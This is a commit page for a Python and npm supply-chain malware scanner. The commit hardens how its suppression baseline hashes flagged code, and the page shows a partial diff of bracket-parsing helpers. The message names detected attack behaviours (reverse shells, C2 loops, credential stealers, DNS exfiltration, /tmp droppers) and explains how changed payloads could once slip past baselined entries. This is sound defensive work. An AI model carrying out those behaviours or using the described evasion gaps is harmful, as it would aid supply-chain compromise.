scan_packages: key baseline on matched-code hash so payloads in baselined files are not auto-suppressed (#6552)

* scan_packages: key baseline on matched-code hash

The baseline matched on (package, package-relative file, check), which
excluded the matched code, so a future finding of the same check in the
same file was suppressed regardless of what the code did. A malicious
future version of an already-baselined package could place a payload in
the same file under the same check and pass the enforcing gate.

Key the baseline on a hash of the matched code too. The hash is over the
deduped, sorted set of matched spans with L<NN>: line markers stripped, so
version bumps, line shifts and match reordering stay stable while new or
changed flagged code reopens the finding. Version is left out of the key so
routine dependency bumps do not reopen every entry. The hash is capped and
recomputable from the stored evidence.

Regenerate scan_packages_baseline.json against the current dependency set;
the hf-stack, studio and extras scan shards pass enforcing (no active
CRITICAL or HIGH).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: refresh baseline for newer unsloth-zoo release

A newer unsloth-zoo published after the first regenerate added
tests/test_mlx_save_export_regressions.py, a benign test fixture
(temporary_location="/tmp/ignored") that trips the /tmp dropper check.
Regenerate the hf-stack shard against the current set so the entry is
allowlisted; studio and extras are unchanged.

* scan_packages: harden baseline loading against malformed JSON

Guard against a non-dict top-level baseline and non-dict entries so a
corrupt or hand-edited allowlist warns and fails closed instead of
crashing with AttributeError, and treat an explicit evidence: null as
empty.

* scan_packages: hash the full match set, keep indentation, strip only the marker

Address the evidence-hash review feedback:
- Capture every matching line, not the first three, so a payload appended
  after existing matches in a baselined file and check reopens the finding
  instead of riding the sample.
- Preserve leading indentation so a flagged line moved out of a guarded block
  reads as changed.
- Strip only each span's prefix up to the first L<NN>: marker, so an L<NN>:
  inside the matched code is kept and a change to it reopens the finding.

Evidence and its hash are stored in full and stay recomputable from the stored
field. Regenerate the baseline; hf-stack, studio and extras pass enforcing with
no active CRITICAL or HIGH.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: bind baseline evidence to full matched code

Address review feedback on the evidence-hash baseline key:

- Split evidence only on real span delimiters (" | " before an L<NN>:
  marker, or a newline), so a bitwise-or or union type in matched code
  is no longer split apart into separate spans.
- Record matched lines in full (drop the 160-char per-line cap) and
  record every distinct multiline match, so code appended past the cap
  or a second cross-line match reopens the finding instead of riding the
  first one.
- Give the large-JS-bundle and .pth base64-blob findings a content
  digest instead of empty or prefix-only evidence, and record all .pth
  import lines, so a changed bundle, blob or import no longer inherits a
  baselined empty or truncated key.
- Warn when a loaded baseline has entries without evidence_hash so a
  legacy baseline is regenerated rather than silently degraded.

Regenerate scripts/scan_packages_baseline.json against the current dep
set and add regression tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: harden multiline and duplicate evidence handling

Follow-up hardening so the evidence hash tracks the full matched code:

- For DOTALL patterns that match across lines, record every line the match
  spans (not just the start line), so a change on a continuation line (the
  URL inside a baselined C2 loop, a swapped credential path) reopens the
  finding. A pathological greedy span is bounded to its head line plus a
  digest of the rest.
- Keep duplicate spans in the canonical evidence so a second identical
  matched line in a new code path changes the key instead of deduping away.
- Anchor the evidence prefix to strip only a genuine leading label or
  line-number marker, leaving a marker-like "L<NN>:" inside raw .pth code
  intact.
- Make the legacy-baseline warning explicit that entries without an
  evidence_hash reopen rather than suppress under a coarse key.

Regenerate scripts/scan_packages_baseline.json (same finding set; entries
for same-file repeated checks are now tracked separately) and add tests.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: bind every combo and large finding to its full content

Close the remaining asymmetric-evidence gaps so a changed payload cannot
ride a reviewed baseline entry:

- Digest a capped multiline span from the code without line markers, so a
  pure line shift stays stable while a continuation-line change reopens.
- Give the "Unusually large executable .pth" finding a content digest
  instead of keying on byte size and import-line count alone.
- Record both contributing signals for the JS credential+network stealer,
  the shell credential+network and persistence-hook combos, and the hidden
  network+exec docstring payload, so changing the network/exec side reopens.
- Allow punctuation in an evidence label prefix so a "network+exec:" label
  is stripped and line shifts do not change the key.

Regenerate scripts/scan_packages_baseline.json and add tests for each case.

* scan_packages: bind remaining Python combos; key npm baseline on evidence

Python scanner: the openssl+key, anti-analysis, DNS-exfil and base64+exec+blob
combos recorded only one contributing signal, so a changed payload on the other
side could ride a reviewed baseline entry. Each now binds every co-occurring
signal (and the blob is digested, since it can sit on a separate line from the
decode call).

npm scanner: scan_npm_packages.py keyed its allowlist on (package, path,
pattern) only, the same coarse-key bypass the Python scanner just closed. Add an
evidence hash to the key (schema v3, fail-closed on older baselines) and store
full evidence. The committed baseline stays empty by design.

Regenerate scripts/scan_packages_baseline.json and add tests for each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_npm_packages: bind full blob evidence and harden baseline loader

Follow-up on the npm evidence-hash key:

- _evidence now records every match and, when a snippet is truncated for
  display, appends a digest of the full match. The obfuscated-blob key was
  hashing only the truncated first-match snippet, so a changed payload tail or
  an appended blob in the same package/file/pattern could ride a reviewed entry.
- _load_baseline guards that the root is an object, entries is a list, and each
  entry is a dict before reading it, so a malformed baseline warns and fails
  closed instead of raising AttributeError.

Add tests for a changed blob tail reopening the key and for malformed entries.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan_packages: symmetric baseline-loader guards; bind npm outbound host context

- Python _load_baseline now rejects a non-list "entries" with a warning instead
  of raising TypeError, matching the npm loader.
- npm cred-surface-host (outbound) records the host with its URL path / fetch
  call / host config, so a changed outbound path, headers or body reopens the
  key rather than riding the bare host literal.

Add tests for both.

* scan_npm_packages: migrate v2 baselines and bind host-config outbound context

- _load_baseline now migrates schema v2 entries by recomputing the evidence
  hash from stored evidence (with a legacy warning), matching the Python
  loader, instead of discarding them; only pre-v2 basename schemas are rejected.
- The cred-surface-host (outbound) host-config branch now captures the whole
  line (path, headers, body), so a changed outbound payload on the same
  hostname line reopens the key instead of riding the bare host snippet.

Add tests for v2 migration and the host-config context binding.

* scan packages: bind PEM key bodies and npm windowed evidence to baseline keys

scan_packages: embedded-key findings now pin the full PEM block (BEGIN..END)
via a content digest, so a key body swapped under the same marker reopens the
finding instead of riding the unchanged BEGIN line. Single-line and DER keys
were already bound by their full matched line; marker-only references with no
END block (validation header lists) are unaffected, so the committed baseline
is unchanged.

scan_npm_packages: _evidence now digests the full containing line whenever the
shown snippet is only a window into it (short match on a long line, or a
truncated payload), so a changed payload tail outside the display window
reopens the key. The npm baseline is empty, so this changes no suppressions.

Adds regression tests for both cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan packages: bind multi-line evidence and every blob to baseline keys

_extract_evidence now extends each single-line match over its bracket
continuations, so a multi-line call binds its argument lines and a changed
URL or body on a continuation line reopens the key. After the per-line pass it
also records cross-line matches the scan cannot otherwise see (a DOTALL regex,
or a multi-line construct appended under a check that already had a one-line
match), so an appended multiline payload reopens instead of riding the key.

_blob_digest hashes every large base64 blob (not just the first) for the
base64+exec finding and the .pth large-blob finding, so an appended or swapped
second encoded payload reopens; single-blob files keep the same digest.

scan_npm_packages _evidence digests the full logical line (the matched line
plus its bracket-continuation lines), so a multi-line fetch's option and header
lines bind and a changed payload on a following line reopens the outbound key.

Regenerated the Python baseline: same package/file/check set, 24 entries pick
up the wider multi-line evidence. Adds regression tests for each case.

* scan packages: stop giant greedy spans from binding a whole-file digest

When a greedy DOTALL pattern (reverse shell socket...subprocess, C2 loop) has
its anchor tokens far apart, the match span covers the whole file. Digesting
that span bound thousands of unrelated lines, so the evidence hash drifted on
any edit between the anchors (a dependency bump reshuffling the file), which
made a baselined finding reopen on an upstream release. The multiline pass now
skips an oversized span when the per-line pass already bound the signal lines,
so the evidence is the stable matched lines; a genuinely appended multi-line
construct stays under the cap and is still recorded.

Regenerated the Python baseline against Python 3.12 (the version the scan CI
shards run) so the resolved dependency set matches CI. Same package/file/check
set. Adds a regression test.

* scan packages: tighten evidence binding (order, string brackets, span size)

Address review follow-ups on the evidence extraction:

- _canon_evidence keeps discovery (line) order instead of sorting. Line-shift
  stability already comes from stripping the L<NN>: markers, so order stays
  significant and reordering matched lines (a multi-line call's arguments)
  reopens the finding.
- _logical_line_end (Python) and _logical_line_text (npm) blank string literals
  before counting brackets, so a ) inside a string argument does not close the
  logical line early and drop later argument lines.
- The oversized-span skip now only drops a giant whole-file bridge (over 60
  lines); a genuinely appended multi-line construct is recorded so its payload
  reopens, rather than riding an existing one-line match.
- npm _logical_line_text binds the enclosing bracket group, so a host-config
  object whose { is on a prior line binds its path/headers/body lines.

Regenerated the Python baseline (Python 3.12, matching the scan CI shards):
same package/file/check set. Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan npm packages: normalize and bound the logical-line digest

- _evidence whitespace-normalizes the logical line before digesting (matching
  _evidence_hash), so a formatter-only reindent of the bound continuation lines
  does not change the sha256 suffix and reopen an unchanged finding.
- _logical_line_text follows a bracket group to its close up to a hard 200-line
  cap (digest input only), so a config object longer than the backward window
  still binds its whole tail instead of silently truncating.

Adds regression tests. npm baseline is empty, so no regeneration is needed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan: cap single-line evidence and widen npm opener window

Cap each rendered evidence line at 200 chars in scan_packages.py: a long
or minified one-line file is shown as a bounded prefix plus a sha256 of the
full line, so a packed payload cannot dump unbounded content into the CI
logs or baseline while a change past the cutoff still changes the digest
and reopens the finding. Mirrors how the npm scanner bounds its snippets.

Widen the npm backward opener window (_MAX_CONT_LINES 12 to 200, symmetric
with the forward cap) so a host deep inside a large options object binds
the whole object, not just its own line; a changed path, header, or body on
any property reopens.

Regenerate the Python baseline with Python 3.12: only the protobuf
nspkg.pth and unsloth-zoo compiler.py evidence change, both from the new
line cap; the package/file/check key set is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* scan: bind all host contexts, deep call continuations, far-back npm openers

Three fail-closed evidence gaps surfaced by review of the previous round.

scan_npm_packages.py: measure the forward bracket-group cap from the matched
line (idx + _MAX_GROUP_LINES) instead of the opener, so an opener found near
the widened backward limit no longer consumes the forward budget and drops
the path, headers, or body that follow the host.

scan_npm_packages.py: _outbound_host_evidence now records every outbound
context form for a host (URL, fetch-context, host-config), claiming each
non-overlapping match in form order, so a separate host-config request added
beside an already-baselined URL changes the evidence and reopens the key.
The common single-context case keeps its existing snippet.

scan_packages.py: follow a matched Python call over its continuations up to a
separate _MAX_CALL_LINES (40), decoupled from the 12-line display threshold,
so a multi-line requests.post( binds its whole argument list in the digest
and a changed body deep in the call reopens; bounded so a miscounted bracket
cannot swallow unrelated code. No baseline change: the current dependency set
has no matched call that closes between 13 and 40 lines, confirmed by a
Python 3.12 regenerate that produced a byte-identical baseline.

* scan: clamp npm depth, pin large bundles, follow backslash and bound .pth dump

Four fail-closed evidence gaps surfaced by review of the previous round.

scan_npm_packages.py: clamp the backward opener scan at depth 0 so a leading
unmatched closer (a preceding block whose opener is outside the backward
window) no longer drives depth negative and masks the real enclosing opener
that follows; a host-config object after such a block now binds and a changed
path reopens.

scan_packages.py: a large JS bundle now pins its whole content even when
another JS heuristic already fired. The bundle digest was only added when no
other finding existed; it is now appended to every finding's evidence on a
large bundle, so an unchanged obfuscation signature no longer lets changed
payload elsewhere ride the matched-line key.

scan_packages.py: _logical_line_end follows explicit backslash line
continuations, so a call split with a backslash before its parenthesis binds
the continuation line (URL/body) instead of returning at the zero-depth API
line.

scan_packages.py: the catch-all .pth import evidence is bounded through
_cap_line (prefix plus a digest of every line) so a large .pth of benign
imports cannot dump the whole member into the logs or baseline while an
appended or swapped import still reopens.

Baseline regenerated with Python 3.12: key set unchanged; one entry
(unsloth-zoo compiler.py) gains the backslash-continued banner lines now
bound by the continuation fix.

* scan: handle multi-line strings, lifecycle bodies, and de-quadratic evidence

Addresses a review round plus a performance audit of the evidence extractor.

Correctness (fail-closed):
- Bind the UNION of the single-line-blanked and multi-line-blanked bracket spans
  in both scanners. The multi-line view blanks a triple-quoted Python string or a
  backtick template literal that spans lines, so a `)` inside such a string no
  longer closes the enclosing call early and drop later arguments. The single-line
  view still counts a payload embedded INSIDE a string, so a dropper that hides a
  call in a string keeps its argument lines bound. Taking the larger span never
  shrinks the binding below either view, avoiding a fail-open regression.
- cred-env-in-lifecycle now pins the whole lifecycle script body via a digest, so
  a changed non-token line (e.g. adding a curl exfil beside the token reference)
  reopens, not just a change on the token line.

Performance / DoS (the scanner runs on attacker-controlled package files up to the
64 MiB / 16 MiB member caps, with no per-file time budget):
- _extract_evidence precomputes newline offsets once and maps match offsets with
  bisect, removing the O(matches) whole-file content.count per match that made the
  finditer fallback quadratic (a crafted minified file went from ~13 s/MiB and
  hours at the cap to linear).
- npm _index_text splits and string-blanks the file once per evidence call instead
  of per match (was O(matches x file) time and allocation).
- Bound evidence output: _MAX_EVIDENCE_SPANS (Python) and _MAX_EVIDENCE_MATCHES
  (npm) fold the remainder into a digest so a file with thousands of matches cannot
  build a multi-megabyte evidence/baseline blob while an added/removed match past
  the cap still changes the key.
- _outbound_host_evidence caps matches per form and bounds the overlap claim so a
  host repeated many times cannot make it quadratic.

No baseline change: a Python 3.12 regenerate is byte-identical (the union equals the
legacy single-line span for every current dependency file; the cap thresholds sit
above the largest real entry), so these are forward-looking hardening with no drift.

* scan: count all overflow matches, bind their context, blank JS regex literals

Follow-ups on the evidence output caps from the previous commit.

- _outbound_host_evidence no longer truncates each pattern's match iterator with
  islice; it iterates every match and runs the overlap dedup only while the
  display list is below the cap (so claimed stays bounded and the check is O(cap)
  per match, not quadratic), folding every match past the cap into the overflow
  digest. A host context beyond the 64th is counted again, so it reopens.
- The overflow digest (both scanners, via a shared _overflow_digest) binds each
  overflow match's logical-line context, not just the regex match text, so a
  changed payload on an over-cap line reopens even with the matched token
  unchanged.
- The multi-line JS blanked view now blanks regex-literal bodies (tracking the
  previous significant char for regex-vs-division and char classes for a literal
  `/` inside `[...]`), so a `)` inside `/)/` no longer closes an outbound call
  early. The bound span is the union of the single-line and multi-line views, so
  an imperfect regex decision only ever grows the span, never shrinks it.
- The Python overflow digest canonicalizes spans (strips L<NN>: markers via
  _canon_evidence) before hashing, restoring line-shift stability for the
  over-cap region.

No baseline change: the overflow branches only trigger above the per-finding caps
(above the largest real entry), and the npm baseline is empty, so a Python 3.12
regenerate is byte-identical.

* scan: refresh baseline for ipython interactiveshell.py span drift

A newer ipython release changed the filesystem-enumeration span in
IPython/core/interactiveshell.py, so its content digest no longer matched the
baselined evidence and the studio scan shard flagged it as a non-baselined
CRITICAL. Regenerated with Python 3.12: only the ipython entry's evidence_hash
changes; the package/file/check key set is unchanged, and a studio enforcing
spot-check exits 0.

* Bound scanner evidence memory: stream overflow spans and cap lifecycle baseline size

scan_packages.py: _extract_evidence no longer materializes a rendered span
per match before slicing at the display cap. Once out holds _MAX_EVIDENCE_SPANS
spans, further spans fold straight into a running digest, so a minified or
padded file with hundreds of thousands of matching lines keeps memory bounded
to the display cap instead of the match count. The fold reproduces
_canon_evidence(" | ".join(overflow)) byte for byte, so the overflow digest and
every baseline key are unchanged.

scan_npm_packages.py: lifecycle-fetch-exec and cred-path-in-lifecycle stored the
entire install script body as evidence, so --write-baseline on a package with a
multi-MiB lifecycle script bloated the baseline JSON. Both now store a bounded
matched snippet plus a body-sha256 digest, matching cred-env-in-lifecycle. The
digest still binds the whole body, so a change to any line reopens the finding.

Adds tests for the streamed overflow bound and the bounded-but-reopens lifecycle
evidence. Baseline unchanged (byte-identical Python evidence; npm baseline empty).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make npm bracket-group scan order-aware so a same-line close-then-open binds

_scan_group counted brackets with a per-line net (opens minus closes), which
collapses intra-line order: a line that closes a prior block and then opens the
host-config object on the same line, e.g. `}); const opts = {`, nets to <= 0, so
the trailing `{` was dropped and the group started at the hostname line. A
changed path/headers on the following lines then hashed to the same evidence and
could ride an existing baseline key.

Replace the net count with an order-aware (L, R) reduction per line (L closers
needing an opener to the left, R openers needing a closer to the right) and apply
it in order in both the backward and forward scans, clamping stray closers at 0.
The trailing opener now stays visible so the whole object binds and a changed
payload reopens. Per-line cost is unchanged (one C-level bracket findall), so the
existing outbound-host evidence is byte-identical on all prior shapes; only the
previously-dropped same-line case changes. Adds a regression test for it.

* Harden scanner evidence: bound memory and bind Python call tails fail-closed

Five fixes across both scanners, none of which change the committed baseline (a
full regen of all three pip shards produced a byte-identical 185-key set).

scan_npm_packages.py: _evidence and _outbound_host_evidence collected every regex
match into a list before applying the 64-match display cap, so a text file under
the size cap that repeats a cheap signal (such as NPM_TOKEN) millions of times
could allocate a huge list of re.Match objects and stall or OOM before the
overflow digest ran. They now stream from finditer and fold overflow as matches
arrive via a shared _fold_overflow_match helper, byte-identical to the prior
digest.

scan_packages.py:
- _extract_evidence kept inserting every unique over-cap span into the seen set
  even after it stopped appending to the display list, so a generated file with
  millions of one-line matches still grew that set unbounded. It now tracks spans
  only while filling the display list (per-line spans are unique by line number,
  so dropping them past the cap cannot miss a dedup).
- _scan_line_end counted brackets with a per-line net, so a continued statement
  that closes on the same line it opens a flagged call (a leading "]" before
  "requests.post(") had the call's open paren cancelled and bound only the opener
  line. It now applies brackets in order via _bracket_lr (leading closers clamp at
  0), matching the npm bracket fix.
- a single-quoted string continued by a trailing backslash was not tracked across
  lines, so a close paren inside the continued string on the next line closed the
  call early; _blank_code_strings now carries the continuation.
- a call with more argument lines than the soft cap was hashed only through the
  cap, so a changed data=/headers tail past it stayed suppressed; a closing call
  is now followed to its real close under a 200-line hard limit (a never-closing
  opener still stops at the 40-line soft cap so it cannot swallow the file).

Adds regression tests for each. npm baseline is empty; the Python baseline is
unchanged (verified byte-identical by regenerating all three shards).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Bind giant DOTALL span anchors and add context to constant IOC evidence

Two fail-closed gaps where a changed payload could keep the same evidence hash
and stay suppressed by the baseline.

scan_packages.py: a giant greedy DOTALL span (a cross-line IOC match bridging
more than 60 lines, e.g. RE_TEMP_EXEC matching a /tmp line and a much-later
subprocess line) was dropped entirely once the per-line pass had any match, so an
appended cross-line payload -- a new /tmp line plus a later subprocess line that
share no single line, so the per-line pass never binds them -- produced the same
evidence and rode the key. The span is no longer dropped: it is bound by its head
and tail anchor lines plus a digest over just those (no line numbers, so a pure
line shift is stable). An added or moved anchor reopens the finding, while churn
in the bridged interior stays stable, so this does not reintroduce whole-file
drift. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry
such a span and are refreshed; a full three-shard regen confirmed only those two
keys change.

scan_npm_packages.py: known-ioc-string and cred-surface-host (always-bad) recorded
only the bare needle/host as evidence, so a reviewed tarball that kept the IOC
string while altering the adjacent fetch/exfil body produced an identical key.
They now bind matched-line context: known-ioc-string via the matched line and its
bracket-group continuation, cred-surface-host (always-bad) via the outbound call
context (path/headers/body, falling back to the bare host when not in an outbound
call). A changed payload on the same call now reopens.

Adds regression tests for each. npm baseline is empty; the Python baseline updates
only the two giant-span entries.

* Hash giant-span interiors, bind exec/eval trigger, JS content, intra-literal whitespace

Four fail-closed gaps where a changed payload could keep the same evidence hash.

scan_packages.py:
- A giant bridged DOTALL span was bound only by its head and tail anchors, so a
  cross-line payload inserted into the bridged interior between unchanged outer
  anchors kept the same key. The whole span content is now digested (via _render),
  so any interior change reopens; a pure line shift stays stable because the digest
  is over the markerless code. Two baseline entries (multiprocess test, unsloth-zoo
  scanner file) carry such a span; with full-interior binding, multiprocess
  resolved at two versions across shards now yields two distinct entries where the
  anchor digest had collapsed them into one.
- The exec/eval-with-hidden-payload findings omitted the visible exec/eval line
  that makes the hidden string executable, so flipping a harmless eval("1+1") to
  exec(__doc__) kept the same key while arming the payload. The trigger line from
  the real-code view is now bound into the evidence.
- check_js_file extracted evidence with the Python-string-aware extractor, which
  does not blank JS backtick template literals, so a template containing a close
  paren closed a call's bracket span early and omitted later option/body lines. The
  full file content digest is now pinned to every JS finding (not just large
  bundles), binding the whole call.

scan_npm_packages.py: the evidence canon collapsed all whitespace via split(),
erasing whitespace inside JS string literals along with harmless indentation, so a
changed request body 'a b' -> 'a  b' kept the same key. A new _canon_preserve_strings
collapses whitespace only OUTSIDE string literals (reindent-stable) while preserving
it INSIDE single/double/backtick literals (intra-payload edits reopen). Used for the
evidence hash and the logical-line digests.

Adds regression tests for each. npm baseline is empty; the Python baseline updates
the two giant-span entries and adds the second multiprocess version's entry.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
This commit is contained in:
Daniel Han 2026-07-01 04:03:59 -07:00 committed by GitHub
parent 0ea727a0b2
commit 73d9653d5b
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
6 changed files with 2917 additions and 424 deletions

View file

@ -40,8 +40,10 @@ from __future__ import annotations
import argparse
import atexit
import base64 as _b64 # imported only so the IOC string-scan can detect it
import bisect
import hashlib
import io
import itertools
import json
import os
import re
@ -897,20 +899,364 @@ def safe_extract(
# ─────────────────────────────────────────────────────────────────────
# How far back to look for an enclosing bracket opener. Symmetric with the
# forward cap so a host that sits deep inside a large options object (its opening
# `{` many properties above) still binds the whole object, not just its own line;
# a too-far start only over-binds (more context, still fail-closed), never less.
_MAX_CONT_LINES = 200
# Hard cap on how far forward a bracket group is followed to its close, measured
# from the matched line so the tail after the match is always reachable even when
# the opener was found near the backward limit (digest input only, never
# displayed); a realistic config object closes well within it.
_MAX_GROUP_LINES = 200
# JS string literal (single / double / template), blanked before counting
# brackets so a bracket inside a string is not mistaken for code.
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / on a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
object; tracking the running minimum keeps that opener visible so the group
binds the path/headers that follow. Only bracket characters are walked (pulled
out with one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _find_unescaped(line: str, quote: str, start: int) -> int:
"""Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
i, n = start, len(line)
while i < n:
if line[i] == "\\":
i += 2
continue
if line[i] == quote:
return i
i += 1
return -1
# A `/` is a regex literal (not division) when the previous significant character
# is none (start) or one of these expression-position chars. Used only by the
# multi-line blanked view, and the span is unioned with the single-line view, so
# an over- or under-detection only ever grows the bound span (never shrinks it).
_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
def _blank_js_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single, double, multi-line backtick template
literals) AND regex literal bodies with spaces across ``lines``, keeping the
line count and every bracket OUTSIDE a string/regex intact, so bracket counting
never miscounts a ``)`` that lives inside a string -- including a template
literal spanning several lines or a ``/)/`` regex -- which a per-line regex
cannot blank. Escapes are honoured."""
out: list[str] = []
in_back = False # inside a multi-line `template` literal
prev_sig = "" # last significant non-space char (for regex-vs-division)
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_back:
end = _find_unescaped(line, "`", i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 1))
i = end + 1
in_back = False
prev_sig = "`"
continue
ch = line[i]
if ch in " \t":
buf.append(ch)
i += 1
continue
if ch in "'\"`":
end = _find_unescaped(line, ch, i + 1)
if end == -1:
buf.append(" " * (n - i))
i = n
if ch == "`": # opens a template literal that runs past this line
in_back = True
else:
buf.append(" " * (end - i + 1))
i = end + 1
prev_sig = "v" # a string is a value: a following `/` is division
continue
if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
# Regex literal: blank to the closing unescaped `/` outside a `[...]`
# char class. A regex never spans lines, so no close on the line
# means this `/` is really division.
j, in_class, closed = i + 1, False, False
while j < n:
c = line[j]
if c == "\\":
j += 2
continue
if c == "[":
in_class = True
elif c == "]":
in_class = False
elif c == "/" and not in_class:
j += 1
closed = True
break
j += 1
if closed:
buf.append(" " * (j - i))
i = j
prev_sig = "v" # a regex is a value
continue
buf.append(ch)
i += 1
prev_sig = "/"
continue
buf.append(ch)
i += 1
prev_sig = ch
out.append("".join(buf))
return out
def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
"""Precompute once per evidence call: raw lines for display, two string-blanked
views for bracket counting (single-line via regex = legacy, and multi-line
aware so a template literal spanning lines is blanked), and newline offsets for
O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
file on every single match (which was O(matches x file size))."""
lines = text.split("\n")
sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
ml_blanked = _blank_js_strings(lines)
nl = [p for p, ch in enumerate(text) if ch == "\n"]
return lines, sl_blanked, ml_blanked, nl
# Cap on formatted matches in one evidence string; beyond it the remaining match
# texts are folded into a single digest so a huge/minified file cannot build a
# multi-megabyte evidence blob while an added/removed match past the cap still
# changes the key.
_MAX_EVIDENCE_MATCHES = 64
def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
"""(start, end) line indices of the bracket group enclosing line ``idx`` in one
blanked view: scan back to the still-open opener, then forward to its close."""
# Backward: find the line that opens a bracket still unclosed at the match,
# so a match inside a multi-line object starts from the object opener. Each line
# is reduced to (L, R) and applied in order: first the L closers consume open
# brackets from the running context (a stray closer whose opener is outside the
# window only clamps depth at 0, it never goes negative), then the R openers
# add to it. Tracking order this way (rather than a single net per line) keeps a
# trailing opener visible even when leading closers on the same line net it to
# <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
# changed path/headers after such a line ride the unchanged-hostname key.
start = idx
depth = 0
for j in range(max(0, idx - _MAX_CONT_LINES), idx):
left, right = _bracket_lr(blanked[j])
if left >= depth:
depth = 0 # everything opened so far in the window has closed
start = idx
else:
depth -= left
if right > 0:
if depth == 0:
start = j # outermost still-open opener begins here
depth += right
# Forward: extend until the group opened at `start` closes past the match. The
# same order-aware reduction is used (clamping leading closers at 0) so the
# foreign `})` on the opener line does not drive the count negative and stop the
# scan before the real close. The cap is measured from the match (`idx`), not
# from `start`, so an opener found near the backward limit does not eat the
# whole forward budget and drop the path/headers/body that follow the match.
depth = 0
end = start
for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
left, right = _bracket_lr(blanked[j])
depth = max(0, depth - left) + right
end = j
if j >= idx and depth <= 0:
break
return start, end
def _canon_preserve_strings(text: str) -> str:
"""Whitespace canon that collapses runs OUTSIDE string literals to a single
space (so a reindent or spacing change between tokens stays stable) while
preserving whitespace INSIDE single/double/backtick string literals (so a
changed payload body, e.g. ``'a b'`` -> ``'a b'``, reopens). A plain
``" ".join(text.split())`` erases both, suppressing an intra-literal payload
edit along with harmless indentation. Leading/trailing outside whitespace is
dropped; escapes inside strings are honoured. Used for the evidence hash and
the logical-line digests so the two stay consistent."""
out: list[str] = []
i, n = 0, len(text)
quote: str | None = None
pending_space = False
while i < n:
ch = text[i]
if quote is not None:
out.append(ch)
if ch == "\\" and i + 1 < n:
out.append(text[i + 1])
i += 2
continue
if ch == quote:
quote = None
i += 1
continue
if ch.isspace():
pending_space = True
i += 1
continue
if pending_space and out:
out.append(" ")
pending_space = False
out.append(ch)
if ch in "'\"`":
quote = ch
i += 1
return "".join(out)
def _logical_line_text(
lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
) -> str:
"""The matched line plus the bracket group it belongs to (the enclosing
multi-line object/call, so a changed ``path``/``headers``/body on another line
binds). Returns the UNION of the groups found in the single-line-blanked view
(legacy: a payload embedded inside a template still counts so its brackets bind
the call) and the multi-line-blanked view (a bracket inside a template literal
spanning lines no longer closes the group early). Unioning never shrinks the
span below either view, so neither blanking strategy can drop a line a
malicious change relies on."""
s1, e1 = _scan_group(sl_blanked, idx)
s2, e2 = _scan_group(ml_blanked, idx)
start, end = min(s1, s2), max(e1, e2)
return " ".join(lines[start : end + 1])
def _format_match(
text: str,
lines: list[str],
sl_blanked: list[str],
ml_blanked: list[str],
nl: list[int],
m: re.Match,
max_chars: int,
) -> str:
# The shown snippet is a small window around the match; append a digest of the
# full LOGICAL line (the matched line plus its bracket-continuation lines)
# whenever the snippet does not already show all of it, so a changed payload
# tail, a truncated body, or a multi-line option/header reopens. Offsets are
# mapped to line numbers via bisect over precomputed newline positions, so this
# is O(log n) instead of rescanning the file prefix for every match.
idx = bisect.bisect_left(nl, m.start()) # 0-based line index of the match
line_start = nl[idx - 1] + 1 if idx > 0 else 0
ke = bisect.bisect_left(nl, m.end())
line_end = nl[ke] if ke < len(nl) else len(text)
full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
start = max(line_start, m.start() - 30)
end = min(line_end, m.end() + 30)
snippet = text[start:end].replace("\n", " ")
if len(snippet) > max_chars:
snippet = snippet[:max_chars] + "..."
if snippet != full_logical:
# Normalize before digesting, matching _evidence_hash, so a formatter-only
# reindent of the bound continuation lines does not reopen -- but preserve
# whitespace inside string literals so a changed request/payload body does.
canon = _canon_preserve_strings(full_logical)
